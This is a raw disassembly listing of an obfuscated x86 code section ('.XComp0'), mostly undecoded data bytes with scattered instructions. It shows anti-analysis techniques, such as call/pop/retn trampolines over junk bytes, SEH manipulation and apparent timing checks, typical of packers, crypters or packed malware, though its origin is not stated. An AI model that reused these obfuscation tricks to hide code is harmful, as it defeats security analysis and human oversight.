0 push ebx call sub_5B8922 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8922 proc near ; CODE XREF: .XComp0:005B891Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5B8922 endp ; --------------------------------------------------------------------------- dw 3A65h dd 0D6B23BAFh, 0DC98D29h, 6AF805F9h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8D78C355h dd 0FCD97C85h, 659D8B05h, 5005F935h, 8B665250h, 66310FDEh dd 5AAFADBFh, 24048958h, 0D9E9D381h, 8B660B43h, 35FF64FBh dd 0 ; --------------------------------------------------------------------------- jmp loc_5B899E ; --------------------------------------------------------------------------- db 0F2h, 69h, 5Ch dd 8B80163Eh, 0E47FDBEFh, 2FD0B3B3h db 0, 9Bh ; --------------------------------------------------------------------------- loc_5B899E: ; CODE XREF: .XComp0:005B8988j pusha mov dx, 6090h or dx, 0C5BDh popa mov large fs:0, esp xor di, 0F1D5h inc dword ptr [ebp+5F9197Dh] push 0 push edi call sub_5B89C6 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B89C6 proc near ; CODE XREF: .XComp0:005B89BEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5B89C6 endp ; --------------------------------------------------------------------------- dw 3534h dd 0FF6A5232h, 284D9589h dword_5B89E0 dd 0BD8B05F9h, 5F90139h, 0FD9B5FFh, 8B0F05F9h, 3, 0FFF98B66h ; DATA XREF: .XComp0:loc_572177r ; .XComp0:00572307r dd 0F9091195h, 14DE905h, 0EB800000h, 0FC00B003h, 950170E6h dd 5F90521h, 0BD0171E4h, 5F92DCDh, 830F613Ch, 12Fh, 0FF5BD89h dd 0B60F05F9h, 0B99D01C8h, 0F05F918h, 1989h, 14E900h, 0C8A40000h dd 27A4DC05h, 0C2318729h, 0C4EC879Eh, 0BADE26BAh, 6BA7E58h dd 8B000000h, 0F917ADBDh, 0E8C18B05h, 0Dh, 736E458Ah, 3B5FD3C4h dd 9BDEE982h, 85895314h, 5F92701h, 0E8C15B5Bh, 29BD8B04h dd 6005F90Dh, 24298D31h, 666105F9h, 0FC8AE2F7h, 890Fh dd 0C82B0000h, 0D198D89h, 0FE905F9h, 0A0000000h, 13BE62FAh dd 4A33DB73h, 0A9965BD7h, 0D18B66F1h, 141D8589h, 6E905F9h dd 89000000h, 0F924E585h, 0C5858B05h, 8B05F909h, 0F906559Dh dd 7C08305h, 1469B531h, 0C08305F9h, 8870F00h, 60000000h dd 27C5858Bh, 3B6105F9h, 14830FD0h, 0F000000h, 381h, 0FFBF0F00h dd 52E9h, 0BDBD8B00h, 8B05F92Bh, 0F90FA18Dh, 81666005h dd 0F57213CBh, 259D8B61h, 8305F901h, 840F01E1h, 2Fh, 28B0Fh dd 0D98A0000h, 0FA1A583h, 60FE05F9h, 6E9h, 0E0997D00h dd 899ABE0Bh, 0F91E8D8Dh, 95896105h, 5F909C5h, 0E9FA8Bh dd 8D000000h, 0FD4B22B5h, 68B0F05h, 8B000000h, 0F918E59Dh dd 6A006A05h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 2955C351h, 0BD8B60A5h, 5F91235h dd 5E8h, 4677C200h, 8503B74Ch, 5F92535h, 95FF615Fh, 5F91AEDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A6C35141h dd 2953F816h, 0F9058DBDh, 68B95B05h, 6A000007h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0A4F7C357h, 8589B6D0h, 5F91B05h, 15858589h, 0E18305F9h dd 51006AFCh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 67B69D28h, 0CD2E5F20h, 12E91Fh, 17A00000h dd 5C1CBBBh, 658328Bh, 207F37F0h, 0C3528007h, 8D9D8BFCh dd 8B05F917h, 0F92031BDh, 89C02B05h, 0F90C6585h, 0BA05h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 4ADB3CC3h, 3EF7736Fh, 0DE8BD59Fh, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0F381FB8Bh, 42360ACAh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 7EC35040h, 880D587Ch dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0F841C355h, 0D2376DADh, 5E8826Eh dd 27000000h, 836E95B5h, 4941BF66h, 0DD958B5Bh, 8B05F90Ch dd 0F926C18Dh, 0D59D0305h, 5005F91Fh, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 6DC0D779h dd 0C595892Ch, 0F805F910h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0EFC35747h, 0C7A2BD0h, 6E984E0h, 99000000h dd 0B383C90Ch, 59BD8320h, 5F911h, 6D840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 564868C3h, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 3F0E7268h, 66808D58h dd 8D8DF98Bh, 5F94EE8h, 6E960h, 0EEEC0000h, 7B2BAFAAh dd 1B1DBD89h, 666105F9h, 0FF5424BBh, 19D33E1h, 8305F933h dd 0F900FDBDh, 840F0005h, 3C7h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 7FC35242h, 890E11B6h, 0F907C18Dh dd 0FDBD8305h, 105F900h, 3B0840Fh, 8B660000h, 0FDBD83DFh dd 305F900h, 36A860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0D8611BC3h, 0EDBD893Eh dd 6005F928h, 23D78166h, 0D98C6614h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 9FC35646h, 43DE2110h, 80D7AF86h dd 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 794C30C3h, 13E59D2Bh, 0C90A05F9h, 0CB840Fh dd 95310000h db 0B1h dword_5B8EA1 dd 8B05F910h ; .XComp0:005CA656r ; --------------------------------------------------------------------------- test [ecx+6005F925h], ebx mov [ebp+5F91EF1h], esi mov edi, [ebp+5F920F1h] popa xor eax, [ebp+5F9042Dh] push 0 push ebx call sub_5B8EC9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8EC9 proc near ; CODE XREF: .XComp0:005B8EC1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5B8EC9 endp ; --------------------------------------------------------------------------- db 0E7h, 54h, 83h db 0CCh ; --------------------------------------------------------------------------- movzx ebx, dx mov [ebp+5F92631h], eax push eax mov [esp], eax mov [ebp+5F92229h], esi push 0 mov ebx, [ebp+5F911B5h] push 5E568669h mov bl, 44h xor dword ptr [esp], 5E498596h sbb bl, 36h call dword ptr [ebp+5F92AC5h] push 0 push esi call sub_5B8F1A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8F1A proc near ; CODE XREF: .XComp0:005B8F12p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5B8F1A endp ; --------------------------------------------------------------------------- dw 3880h dd 85896ED9h, 5FCFC21h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0FDC35141h, 0A7A57FA2h, 0DF81E231h, 7B4B48A0h dd 1F0E9h, 91BD8B00h, 8B05F931h, 19858BDFh, 6A05FCFCh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 4391C355h, 1A62BEA3h, 0E3818552h, 45DAFA3Bh dd 0FE8h, 5AC7AD00h, 29E6689Ch, 0FA1ABA90h, 0FF1CE034h dd 0A9BD33h, 0C75F05F9h, 1800h, 0B1BB6600h, 0D2BB66A7h dd 1DB58BF2h, 6A05FCFCh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0FAD5C356h, 0C1521E45h dd 667CDACEh, 858BDA8Bh, 5F92B89h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 82C35545h, 0B29190C6h, 0B2DB84E4h dd 2DED9D03h, 68905F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0CCC35343h, 69B6DB81h, 11E94F46h, 8000000h dd 7DA0B303h, 0F9B9D8B2h, 0CF2B8381h, 0D0EFFAF7h, 2599858Bh dd 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 46890BC3h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 57D411FCh, 34895067h dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 1F436DA1h, 0BD01A773h, 5F91845h, 0FC19B5FFh dd 1C6805FCh, 66D91052h, 815911BBh, 0B1E32404h, 8166270Eh dd 8D0644D3h, 0FCFC2185h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0CE339F2Ch dd 6658F394h, 8B50D88Bh, 240489FEh, 5EC096BFh, 38B0F33h dd 80000000h, 95FF30C3h, 5F92AC5h, 20800Fh, 6E80000h, 0C7000000h dd 0D253A88Eh, 0FE992h, 1F090000h, 1803FFF9h, 0B29F6536h dd 0B9EF9932h, 0B70F5B16h, 9D0361DEh, 5F91671h, 0FD85C7h dd 305F9h, 8F0F0000h, 6, 2535BD8Bh, 0BD8305F9h, 5FCFC21h dd 0D840F00h, 0B7000000h, 21E9F9h, 9D8B0000h, 5F91E01h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 1F3CC351h, 53006AF2h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0DC521BEAh, 0BD83DA0Bh dd 5F900FDh, 61850F03h, 6A000003h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 934BC351h dd 0F4B3519Ch, 21BD835Fh, 5FCFCh, 332840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 629591C3h, 0F25E4C3Fh, 0D9B70F03h, 0FC21B5FFh, 858905FCh dd 5F91389h, 1AAD95FFh, 858905F9h, 5F92BA1h, 0FC15B58Bh dd 6A05FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0DE2110C3h, 0D7AF8643h, 599D33A6h, 0C705F925h dd 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0B1C3801Eh, 50509217h, 61606052h dd 0F616160h, 52506031h, 585A310Fh, 89585A61h, 98BF2434h dd 0FF085D94h, 0FCFC21B5h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 7F4E2D1Dh dd 7D9D8BB1h, 6605F921h, 0FF9367BFh, 0F9272995h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 4BBE4AA8h, 0FB8B8F35h, 0FC15B58Bh, 0BF6605FCh, 858BE9AFh dd 5F91809h, 89D88B66h, 0C486h, 29958900h, 0F05F90Dh, 485h dd 56BF6600h, 0DD958B06h, 3305F90Ch, 0F9143DBDh, 4C28305h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 26C35545h dd 0CBF4C1B8h, 0D78B2808h, 89205089h, 0F90B1985h, 0E9858D05h dd 6A05FD10h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 99DEC352h, 869BD8Bh, 868905F9h dd 0B8h, 0FEEEBF66h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 25C1EBC3h, 0B5FF5447h dd 5FCFC21h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 39C35242h, 0FE9B1C4h, 87000000h, 8C29AA18h, 0DE767B8Bh dd 4497FC0Ah, 95FFC0D5h, 5F90099h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0B2C35747h, 8B506F99h, 243489D9h dd 10A19D8Bh, 0B5FF05F9h, 5FCFC21h, 7798529h, 95FF05F9h dd 5F93569h, 1D9D8B60h, 6105F914h, 17F5BD83h, 0F0005F9h dd 2E84h, 8D895100h, 5F91AC9h, 11BD8B5Bh, 9605F905h, 0C30BB66h dd 12E950h, 4E7A0000h, 4293718Eh, 0C83402EAh, 1AE5B0B5h dd 933DA21Bh, 0FFDE8B96h, 0FCFC21B5h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0AA404076h, 0FF08DB80h, 0F92E6D95h, 0C1B58905h, 0FF05F90Fh dd 0FCFC21B5h, 459D8B05h, 0FF05F927h, 0F921DD95h, 65850105h dd 8305F920h, 0F90A2DBDh, 840F0205h, 48h, 0BB665B53h, 858BE949h dd 5F91151h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 87C35040h, 18016EC3h, 0FD41B14h, 58Bh, 4D8BB00h dd 89522F34h, 0F906F5BDh, 0C65F05h, 0D9D38000h, 331985C7h dd 5F9h, 0BD230000h, 5F934B1h, 0FFF44DE9h, 51006AFFh, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0DE8CBh, 0DB520000h, 6A8ABB0h, 0C17082C0h, 812F14FCh dd 3409DCDBh, 0C18B5F26h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0CCC35040h, 69C78221h, 8BE0191Fh ; --------------------------------------------------------------------------- loc_5B95E8: ; CODE XREF: .XComp0:005B8906j lea eax, [ebp+5F90DC1h] mov bx, 246Ch jnb loc_5B95F9 cld loc_5B95F9: ; CODE XREF: .XComp0:005B95F2j nop mov di, 7F05h push eax nop mov [ebp+5F92E4Dh], eax push 0 push 0 push ecx call sub_5B9613 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9613 proc near ; CODE XREF: .XComp0:005B960Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5B9613 endp ; --------------------------------------------------------------------------- db 4Ch dd 0F2001058h, 6AFE8B05h, 859D8B00h, 8D05F906h, 0FDE1CC85h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0DF8B6613h, 0BD1EFBBh, 5C0837Ah, 71952960h dd 105F927h, 0F91689BDh, 51506105h, 895BF88Bh, 6AF52404h dd 0EDBD2B00h, 6A05F919h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 1DB80C6h, 0F90B618Dh dd 69BB6605h, 819D8B9Bh, 0FF05F934h, 0F913ED95h, 71E78105h dd 8D3CBADCh, 0FCE9838Dh, 0B4BB6605h, 66D1FFA2h, 31EFF381h dd 1785BD83h, 0F0105F9h, 0E085h, 0D8BF0F00h, 19880F56h dd 0E8000000h, 13h, 20ADBD5Ah, 0D991D965h, 47320865h, 0A7DCCEEBh dd 5FDD1C1Eh, 6A026A5Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0B221C357h, 6604FED4h dd 0BD89F88Bh, 5F91225h, 14E86090h, 6E000000h, 80D972D5h dd 24A8E974h, 684BD370h, 0DAAB4ACFh, 50149FF7h, 5A310F52h dd 0B9665E58h, 5061D97Ch, 90FB8B66h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 7C35040h, 0AE8h, 0CD0F0700h dd 0C6E07EF6h, 0E95CC606h, 0Ah, 5FA0857Dh, 0ADBFCAEh, 665FCFF7h dd 95FFDA8Bh, 5F90099h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 60C35747h, 0D699EBB8h, 0E60E977h, 0E80000h dd 5D000000h, 0E1D6ED81h, 6A05FDh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 3D33A4C3h, 170BD73Ah dd 0BD8B237Ch, 5F905A5h, 0D97C858Dh, 98B305FCh, 8A0F90h dd 50000000h, 0DC60BF60h, 0CE8B6CA7h, 0FF649061h, 35h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 6450F5F0h, 2589h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 521C85C3h dd 57458DE7h, 81A12D6Eh, 26466ECBh, 7D85FF6Dh, 6A05F919h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 7815C357h, 24D8BFEFh, 0FF6A37FDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 4BC35242h, 59B4D8C7h dd 19C1D730h, 14A19D2Bh, 9D8B05F9h, 5F90009h, 159DB5FFh dd 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 47EC78C3h, 0B3A19DF5h, 0D259D8Bh, 8B6605F9h dd 1195FFDEh, 0E905F909h, 130h, 248D8531h, 0B005F9h, 0E652CF80h dd 9BE38070h, 950971E4h, 5F91039h, 3820Fh, 0BF0F0000h dd 0F613CDFh, 10783h, 2880F00h, 0B3000000h, 0C8B60F7Eh dd 25299589h, 6BA05F9h, 23000000h, 0F918199Dh, 9C18B05h dd 0F907B985h, 4E8C105h, 9958960h, 0E905F901h, 0Fh, 0C4500B42h dd 158FC8DEh, 6B9FF2Fh, 61C54487h, 0E9E2F766h, 0Bh, 38D2D1A9h dd 0D22B881Bh, 2B1CBCFAh, 0C93FBBC8h, 0D18B7D86h, 6E9FCh dd 85890000h, 5F90A61h, 1A95858Bh, 506005F9h, 2BDDBD89h dd 665B05F9h, 61169FBEh, 6007C083h, 0BE9h, 7435AE00h, 173C648Ch dd 0BA10577h, 8361F38Ah, 14E900C0h, 0CC000000h, 0C0D843D8h dd 815B0824h, 0B54AF8Dh, 0C5F57F72h, 3B969871h, 13830FD0h dd 8B000000h, 46E9D9h, 0F520000h, 8Eh, 0BF665F00h, 8D8BB246h dd 5F90AE9h, 0C7D78166h, 1E18324h, 26840Fh, 66520000h dd 5F2D9DBFh, 1291BD8Bh, 0A58305F9h, 5F90AE9h, 0FB8B66FEh dd 1A959589h, 816605F9h, 0E98A28CFh, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+5FD5408h] mov edi, edx mov edi, [ebp+5F91EF5h] push 0 push 0 push edx call sub_5B9A47 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9A47 proc near ; CODE XREF: .XComp0:005B9A3Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5B9A47 endp ; --------------------------------------------------------------------------- db 0E5h ; --------------------------------------------------------------------------- enter 2DFCh, 0D7h mov [ebp+5F9246Dh], esi or [ebp+5F91219h], esi call dword ptr [ebp+5F91AEDh] push 0 push esi call sub_5B9A79 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9A79 proc near ; CODE XREF: .XComp0:005B9A71p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5B9A79 endp ; --------------------------------------------------------------------------- xchg eax, ecx mov ecx, 788h push 0 push eax call sub_5B9A9A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9A9A proc near ; CODE XREF: .XComp0:005B9A92p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5B9A9A endp ; --------------------------------------------------------------------------- dw 8915h dd 0F91A91B5h, 0FCE18305h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0A8C35646h, 1180DC81h, 0C860Fh, 850F0000h dd 6, 820Fh, 6AFC0000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0C3C9C356h, 0EA79C388h dd 2B82AD57h, 11E9C0h, 11F70000h, 20A7DEDDh, 1817879Fh dd 0F0CE775Ah, 2BDC1C0Fh, 33ADF8D2h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 319256C3h, 0F919C98Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0AA6988h, 0F79F508Ch dd 81515B52h, 18F9ABE3h, 880D5F4Dh, 0B000000h, 0F925E1BDh dd 0DD958B05h, 8B05F90Ch, 0C18D8BD8h, 6A05F926h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 49C3C351h, 0A535391Fh, 664C3DE5h, 505FF5BFh, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0BFB80495h dd 8951F090h, 0B70FFB8Bh, 51006AF9h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 45F1068Bh dd 0BD8324C3h, 5F91159h, 6B840F00h, 0E9000000h, 14h, 8B42FA80h dd 348B0721h, 0F66AD793h, 7D9EB87Dh, 0B86509D0h, 0B8h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 78291E2Ah, 719D4513h, 0E88D8D40h, 6605F94Eh dd 0E1FFD98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0F3C35343h, 0BD8372D2h, 5F900FDh, 0F6840F00h, 0F5000004h dd 0FDBD83h, 0F0105F9h, 50384h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 180A92A0h dd 13E8D7h, 1C5F0000h, 10A8054Ch, 0F51CB6B0h, 6CF2B1E4h dd 0ED8028B7h, 0E8525FDDh, 0Eh, 99D673A0h, 5941D68Bh, 142982FBh dd 858996BAh, 5F907C9h, 0BD835B5Fh, 5F900FDh, 6B860F03h dd 0E9000004h, 10h, 536650DDh, 0B82D8FD0h, 0E88E07AEh dd 39D52F4Bh, 0F7816660h, 8C66A2EBh, 0DF8B66D9h, 6A04E180h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0B9C5C357h, 0E83AC46Ch, 3C98E737h, 315BBB66h dd 840FC90Ah, 12Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 93C35040h, 0C7F88B9Bh, 3879B3Fh, 13E9h dd 45873D00h, 13ADEE19h, 2717EC28h, 0F8B42962h, 0D3B952A6h dd 68E0Fh, 0BD0B0000h, 5F911FDh, 2599858Bh, 6A05F9h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 29B427C3h, 0F910D19Dh, 31BD0305h, 3305F92Eh, 0F9042D85h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 50513FDDh, 52240489h, 2945BD8Bh, 6A5F05F9h dd 798D8900h, 6805F90Ch, 4088C354h, 0C5BE6660h, 0FE92Ah dd 900C0000h, 0B6F7DBE7h, 0B2C3AB99h, 9E2150EEh, 34816124h dd 97C0AB24h, 11E940h, 25D20000h, 0DCBF94AAh, 9D9195E6h dd 47D5A5E5h, 8B529C84h, 0F924A99Dh, 0C595FF05h, 905F92Ah dd 0F931B9B5h, 21858905h, 6A05FCFCh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 2B16C350h dd 0D1AB17D0h, 279E9h, 0DDB58900h, 8B05F90Fh, 0FCFC1985h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0A13838A9h, 0A8040540h, 0FD98B66h, 687h dd 119D8900h, 0C705F92Bh, 1800h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8B9E3FA4h dd 1DB58BDEh, 6A05FCFCh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0CE95C352h, 0E5CF8166h dd 0D7816684h, 858B7745h, 5F92B89h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 1CC35343h, 7189829Bh, 0B4829C94h dd 0C820Fh, 7E90000h, 54000000h, 0CADD65DCh, 689F36Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0ECC35040h dd 0E60A8844h, 0E9EE31FBh, 14h, 5BDC236h, 0F20907BFh, 17DBC794h dd 7BF80F0Ch, 2377456Dh, 2599858Bh, 6A05F9h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0CC4560C3h dd 4890A78Eh, 8166386Eh, 0E9AEE0CFh, 0Fh, 3CFEBCBCh, 3C6C7171h dd 6DCE6A5Fh, 89EF131Ah, 6A0446h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0B3509FC3h, 243489BFh dd 318D8953h, 5B05F908h, 0FC19B5FFh, 958905FCh, 5F91669h dd 4E8h, 1F03FF00h, 50525000h, 0F525052h, 2 dup(0F585A31h) dd 0DE8B6631h, 5050585Ah, 5FD98B66h, 424448Bh, 0FE8h, 0B2E6F300h dd 16280DD3h, 0BB38723Ah, 8E909DCAh, 51008B5Fh, 895FC6B3h dd 0BF042444h, 6B7FED93h, 7E958h, 3B560000h, 68088B0Bh dd 21858D62h, 6A05FCFCh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 3C6EC357h, 0EF04741h dd 5090F88Dh, 6A90FE8Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0B8B3C353h, 31A406C4h dd 0BD8B6241h, 5F905E5h, 0FE9h, 0DEE47C00h, 0A395E868h dd 0C80006E8h, 67A03D31h, 2AC595FFh, 6A05F9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 8186CDC3h dd 42393212h, 0BF66FC08h, 6A611AD4h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 9A80C350h dd 3D1A8F27h, 85C7DE8Bh, 5F900FDh, 3, 830CF780h, 0FCFC21BDh dd 840F0005h, 36h, 167D9D03h, 46E905F9h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0F773C350h, 29D59F3Eh, 0AC9FFF25h, 81DB589h, 305005F9h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 93EC647Ch, 0BD83F52Fh, 5F900FDh, 0D9850F03h dd 60000003h, 0A6BB66F8h, 0BD8361BEh, 5FCFC21h, 0C5840F00h dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0E188C350h, 0B5FFBC99h, 5FCFC21h dd 0B399D8Bh, 95FF05F9h, 5F91AADh, 8BFE8B66h, 0FCFC15B5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 5FC3C647h, 106C7h, 0D88B0001h, 0DA8B6650h dd 8B243489h, 0F91E01BDh, 0C59D8B05h, 0FF05F92Ch, 0FCFC21B5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 3050D749h, 0BFBF6660h dd 1D8501B9h, 6105F928h, 272995FFh, 11E905F9h, 54000000h dd 0A1049C96h, 0C710D554h, 0B2812647h, 57A862F4h, 0FC15B58Bh dd 6A05FCh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 8DA3E8C3h, 366E1EA9h, 0EABB6A63h, 8B7B0F96h dd 0F9180985h, 0AE805h, 0F1BC0000h, 0D56564A3h, 0F88AED87h dd 6E9h, 6309A600h, 5B9EBE27h, 0C48689h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 73B2C6C3h, 0AA63F6E8h, 31CDBD2Bh, 8B5105F9h, 0F92B299Dh dd 958B5B05h, 5F90CDDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 71C35343h, 0B70F895Fh, 4C283FAh, 0E851006Ah dd 3, 